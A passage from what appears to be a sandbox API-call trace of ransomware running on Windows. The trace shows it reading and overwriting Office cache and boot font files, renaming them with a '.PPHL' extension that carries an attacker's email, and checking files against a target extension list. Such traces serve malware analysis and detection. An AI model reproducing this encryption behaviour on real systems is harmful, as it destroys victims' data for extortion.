lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0x104, lpOverlapped=0x0) returned 1 [0077.951] SetEndOfFile (hFile=0x220) returned 1 [0077.952] CloseHandle (hObject=0x220) returned 1 [0077.952] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.952] SetEndOfFile (hFile=0x1e8) returned 1 [0077.958] CloseHandle (hObject=0x1e8) returned 1 [0077.958] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0077.958] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0078.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.169] lstrlenW (lpString=".doc") returned 4 [0078.170] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString=".docx") returned 5 [0078.170] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0078.170] lstrlenW (lpString=".pdf") returned 4 [0078.170] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString=".xls") returned 4 [0078.170] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString=".xlsx") returned 5 [0078.170] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0078.170] lstrlenW (lpString=".ppt") returned 4 [0078.170] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.170] lstrlenW (lpString=".zip") returned 4 [0078.170] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString=".rar") returned 4 [0078.170] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString=".bz2") returned 4 [0078.170] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString=".7z") returned 3 [0078.170] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0078.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.170] lstrlenW (lpString=".dbf") returned 4 [0078.170] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.170] lstrlenW (lpString=".1cd") returned 4 [0078.170] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.170] lstrlenW (lpString=".jpg") returned 4 [0078.170] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.170] lstrlenW (lpString=".doc") returned 4 [0078.170] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0078.170] lstrlenW (lpString=".docx") returned 5 [0078.170] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0078.171] lstrlenW (lpString=".pdf") returned 4 [0078.171] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0078.171] lstrlenW (lpString=".xls") returned 4 [0078.171] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0078.171] lstrlenW (lpString=".xlsx") returned 5 [0078.171] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0078.171] lstrlenW (lpString=".ppt") returned 4 [0078.171] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0078.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.171] lstrlenW (lpString=".zip") returned 4 [0078.171] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0078.171] lstrlenW (lpString=".rar") returned 4 [0078.171] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0078.171] lstrlenW (lpString=".bz2") returned 4 [0078.171] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0078.171] lstrlenW (lpString=".7z") returned 3 [0078.171] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0078.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.171] lstrlenW (lpString=".dbf") returned 4 [0078.171] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0078.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.171] lstrlenW (lpString=".1cd") returned 4 [0078.171] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0078.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.171] lstrlenW (lpString=".jpg") returned 4 [0078.171] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0078.171] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0078.171] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0078.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0078.796] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=222948913) returned 1 [0078.796] CloseHandle (hObject=0x15c) returned 1 [0078.796] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0078.796] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.796] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0078.797] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0078.797] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0078.797] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0078.797] ReadFile (in: hFile=0x15c, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.818] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0078.818] ReadFile (in: hFile=0x15c, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.987] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0078.987] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0078.987] ReadFile (in: hFile=0x15c, lpBuffer=0x3c50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c50058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.305] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.305] WriteFile (in: hFile=0x15c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0079.321] SetEndOfFile (hFile=0x15c) returned 1 [0079.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fa3fb8 [0079.567] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0079.567] WriteFile (in: hFile=0x15c, lpBuffer=0x3fa3fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa3fb8*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.568] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0079.568] WriteFile (in: hFile=0x15c, lpBuffer=0x3fa3fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa3fb8*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.571] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0079.571] WriteFile (in: hFile=0x15c, lpBuffer=0x3fa3fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa3fb8*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fa3fb8 | out: hHeap=0x5d0000) returned 1 [0079.625] CloseHandle (hObject=0x15c) returned 1 [0079.625] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0079.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.626] lstrlenW (lpString=".doc") returned 4 [0079.626] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0079.626] lstrlenW (lpString=".docx") returned 5 [0079.626] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0079.626] lstrlenW (lpString=".pdf") returned 4 [0079.626] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0079.626] lstrlenW (lpString=".xls") returned 4 [0079.626] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0079.626] lstrlenW (lpString=".xlsx") returned 5 [0079.626] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0079.626] lstrlenW (lpString=".ppt") returned 4 [0079.626] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0079.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.626] lstrlenW (lpString=".zip") returned 4 [0079.626] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0079.626] lstrlenW (lpString=".rar") returned 4 [0079.626] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0079.626] lstrlenW (lpString=".bz2") returned 4 [0079.626] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0079.626] lstrlenW (lpString=".7z") returned 3 [0079.626] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0079.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.626] lstrlenW (lpString=".dbf") returned 4 [0079.626] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0079.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.626] lstrlenW (lpString=".1cd") returned 4 [0079.626] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0079.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.626] lstrlenW (lpString=".jpg") returned 4 [0079.626] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0079.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.626] lstrlenW (lpString=".doc") returned 4 [0079.626] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0079.627] lstrlenW (lpString=".docx") returned 5 [0079.627] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0079.627] lstrlenW (lpString=".pdf") returned 4 [0079.627] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0079.627] lstrlenW (lpString=".xls") returned 4 [0079.627] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0079.627] lstrlenW (lpString=".xlsx") returned 5 [0079.627] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0079.627] lstrlenW (lpString=".ppt") returned 4 [0079.627] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0079.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.627] lstrlenW (lpString=".zip") returned 4 [0079.627] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0079.627] lstrlenW (lpString=".rar") returned 4 [0079.627] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0079.627] lstrlenW (lpString=".bz2") returned 4 [0079.627] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0079.627] lstrlenW (lpString=".7z") returned 3 [0079.627] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0079.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.627] lstrlenW (lpString=".dbf") returned 4 [0079.627] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0079.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.627] lstrlenW (lpString=".1cd") returned 4 [0079.627] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0079.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.627] lstrlenW (lpString=".jpg") returned 4 [0079.627] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0079.627] lstrcmpiW (lpString1=".dll", lpString2=".PPHL") returned -1 [0079.627] lstrlenW (lpString="PidGenX.dll") returned 11 [0079.627] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0079.628] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=1463568) returned 1 [0079.628] CloseHandle (hObject=0x15c) returned 1 [0079.628] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0079.628] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0079.628] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0079.628] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.628] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.628] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0079.629] GetLastError () returned 0x0 [0079.629] ReadFile (in: hFile=0x15c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0079.660] WriteFile (in: hFile=0x21c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0080.059] ReadFile (in: hFile=0x15c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0x65520, lpOverlapped=0x0) returned 1 [0080.072] WriteFile (in: hFile=0x21c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0080.082] ReadFile (in: hFile=0x15c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0080.082] WriteFile (in: hFile=0x21c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0080.082] SetEndOfFile (hFile=0x21c) returned 1 [0080.082] CloseHandle (hObject=0x21c) returned 1 [0080.082] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0080.082] SetEndOfFile (hFile=0x15c) returned 1 [0080.086] CloseHandle (hObject=0x15c) returned 1 [0080.086] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0080.086] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) Thread: id = 17 os_tid = 0x25c [0059.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x38002a0 [0059.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x38102a8 [0059.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6702c8 [0059.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x624118 [0059.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6702e0 [0059.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3ce0020 [0059.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6702f8 [0059.781] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6702f8, Size=0x20) returned 0x6267d0 [0059.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6702f8 [0059.781] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6702f8, Size=0x20) returned 0x626780 [0059.781] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0059.781] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0059.781] Wow64DisableWow64FsRedirection (in: OldValue=0x351ff58 | out: OldValue=0x351ff58*=0x0) returned 1 [0059.781] lstrlenW (lpString="kernel32.dll") returned 12 [0059.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6267d0 | out: hHeap=0x5d0000) returned 1 [0059.781] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626780 | out: hHeap=0x5d0000) returned 1 [0059.781] Sleep (dwMilliseconds=0x64) [0060.224] lstrcmpiW (lpString1=".ttf", lpString2=".PPHL") returned 1 [0060.224] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0060.224] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0060.577] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1984228) returned 1 [0060.577] CloseHandle (hObject=0x1b4) returned 1 [0060.577] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0060.578] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.578] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0 [0060.578] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.578] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.578] lstrlenW (lpString=".doc") returned 4 [0060.578] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.578] lstrlenW (lpString=".docx") returned 5 [0060.578] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.578] lstrlenW (lpString=".pdf") returned 4 [0060.578] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.578] lstrlenW (lpString=".xls") returned 4 [0060.578] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.578] lstrlenW (lpString=".xlsx") returned 5 [0060.578] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.578] lstrlenW (lpString=".ppt") returned 4 [0060.578] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.578] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.578] lstrlenW (lpString=".zip") returned 4 [0060.578] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.578] lstrlenW (lpString=".rar") returned 4 [0060.578] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.578] lstrlenW (lpString=".bz2") returned 4 [0060.578] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.578] lstrlenW (lpString=".7z") returned 3 [0060.579] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.579] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.579] lstrlenW (lpString=".dbf") returned 4 [0060.579] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.579] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.579] lstrlenW (lpString=".1cd") returned 4 [0060.579] lstrcmpiW 